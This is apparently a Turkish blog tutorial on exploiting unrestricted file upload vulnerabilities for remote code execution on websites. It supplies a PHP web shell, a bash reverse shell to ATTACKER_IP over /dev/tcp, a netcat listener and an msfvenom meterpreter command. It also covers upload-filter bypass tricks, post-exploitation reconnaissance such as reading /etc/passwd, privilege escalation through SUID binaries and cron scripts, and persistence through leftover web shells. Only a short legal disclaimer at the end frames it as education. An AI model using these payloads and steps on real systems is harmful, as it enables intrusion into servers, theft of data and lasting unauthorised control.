2025: En Tehlikeli Açıklardan Biri — Dosya Yükleme Zafiyeti ve Reverse Shell Erişimi (File Upload RCE)

Dosya Yükle = Açık var mı?

Web sitelerinde “dosya yükle” alanı gördüğünde gözün parlasın çünkü bu, birçok sistemde filtreleme hataları yüzünden sisteme sızmanın en kolay yollarından biri olabilir. Bu zafiyetin adı: Unrestricted File Upload Vulnerability.

Yani site, sadece .jpg yüklenebilir dese bile, aslında arka kapıdan .php shell dosyası bile sokabiliyor olabilirsin.


1. Dosya Yükleme Açığını Anlamak: “Neye İzin Veriliyor?”

İlk adım, sitenin hangi dosya türlerini kabul ettiğini tespit etmektir.

🎯 Test edilecek dosya uzantıları:

.php, .php3, .phtml, .asp, .jsp, .exe

🎭 Masum gibi göster ama tehlikeli olanlar:

resim.php.jpg
komik-goruntu.png.php

şimdi deneme amaçlı yani sunucuda böyle bir açık var mı diye basit bir kod yazıyoruz ve bu kodu olduğu gibi bir php dosyasına kaydedin ve yükleme yerine yükleyin:

<?php system($_GET['cmd']); ?>

Ve yüklediğini varsayalım, ve url ye şunu yazın tabi hedef sitenin isimini yazın :

https://site.com/uploads/resim.php.jpg?cmd=whoami

Eğer terminal komutu çalışıyorsa, sistemin içine girdin demektir.


2. Gerçek Tehlike: Reverse Shell ile Sunucuyu Hacklemek

Reverse Shell, sistemden saldırgana ters bağlantı başlatır. Yani senin makinan shell alır, sistem sana bağlanır.

🔧 Reverse Shell Nasıl Oluşturulur?

Yol 1 — revshells.com kullan:

  • IP: kendi IP adresini yaz.
  • Port: genelde 4444 iyidir.
  • “Generate” de, hop shell dosyası hazır.

🚀 Alternatif: Kendi PHP shell dosyan:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>

ATTACKER_IP kısmına Kali makinenin IP’si gelecek. Port olarak 4444 kullanabilirsin.


3. Dinlemeye Geç: Netcat ile Bağlantı Bekle

Kali’de terminali aç ve shell bekle:

nc -lvnp 4444

Bu komut, 4444 portunu dinlemeye alır. Artık saldırıdan sonra sistem sana bağlandığında burada shell düşer.


4. Dosyayı Yükle ve Shell’i Çalıştır

Shell içeren .php dosyanı yükle. Eğer yüklendiği dizin mesela şöyleyse:

https://target.com/uploads/shell.php

URL’yi tarayıcıda aç → Netcat ekranına düşen komut satırıyla sisteme giriş yapmış olursun.

Örnek çıktı:

bash-4.2$ whoami
www-data

eğer bu yazıyı gördüysen artık içerdesin sistemin Tebrikler


5. Filtreleri Atlama Teknikleri

Bazı web uygulamaları, upload’da filtre kullansa da yine de delik bırakır.

📌 MIME Spoofing:

  • Dosyayı shell.php, ama içeriğini image/jpeg gibi göster.
  • Bazı sistemler uzantıya değil, MIME türüne bakar.

🧼 Null Byte Bypass:

  • resim.php%00.jpg gibi isimlerle dene.
  • %00 ile sistem PHP kısmını dikkate alabilir, jpg‘yi atlar.

🔀 Duble Uzantı:

  • shell.jpg.php veya shell.php.png tarzı uzantı oyunları sistemin kafasını karıştırabilir.

6. Shell Alınca Ne Yapılır?

Shell aldın, şimdi n’apıyoruz? 🕵️‍♂️

📌 Sistemi tanı:

uname -a          # OS bilgisi
id # Kullanıcı
ls /home # Kullanıcı dizinleri
cat /etc/passwd # Kullanıcı listesi
sudo -l # Sudo yetkisi var mı?

7. Yetki Yükseltme (Privilege Escalation)

Sunucuda root olmak istiyorsan, sıradaki hamleler şunlar:

🔍 SUID Binary Avı:

find / -perm -u=s -type f 2>/dev/null

Root yetkili binary’leri listeler. Bazıları seni root’a sokabilir.

🧠 Cron Job’ları Kurcalama:

ls -la /etc/cron*

Eğer çalıştırılabilir script varsa, içine reverse shell kodu gömüp root olabilirsin.

🛑 Sudo Exploit:

sudo -l

Eğer sudo su çalışıyorsa, root oldun demektir.


8. Reverse Shell Kaynakları

Sana hayat kurtaracak birkaç site bırakıyorum:

msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php

❓ Bonus: Sıkça Sorulanlar

1. Dosya yükleme açığını nasıl tespit ederim?
Yukarıda verdiğimiz uzantı ve içerik denemeleriyle manuel test edebilirsin. Ek olarak Burp Suite gibi proxy araçları kullanarak da analiz yapabilirsin.

2. Shell dosyam silinirse ne yapmalıyım?
Sisteme cron job veya webshell bırakabilirsin, yeniden bağlanmak için.

3. Reverse Shell çalışmıyor, neden?

  • IP yanlış
  • Port kapalı
  • Güvenlik duvarı engelliyor
  • Apache vs PHP yorumlamıyor olabilir.

⚠️ Yasal Uyarı

Bu yazıda anlatılan tüm bilgiler etik hacking ve eğitim amacıyla paylaşılmıştır.
İzinsiz erişim, Türk Ceza Kanunu’na göre ciddi suçtur ve hapis cezası ile sonuçlanabilir.
Lütfen yalnızca kendi sistemlerinizde veya izniniz olan test ortamlarında uygulayın.

RCI (Remote Code Injection) Nedir?

File Upload RCE (Remote Code Execution) Açığı: Ne Olur?

Dosya Yükleme Zafiyeti: Web Uygulamalarında Tehlike Çanları

Web Hacking: Saldırganlar İçin En Güvenli Yollar

Web Güvenlik Açıkları: Nasıl Tespit Edilir ve Nasıl Korunulur?

0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Yorum
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
en_USEnglish
0
Would love your thoughts, please comment.x
()
x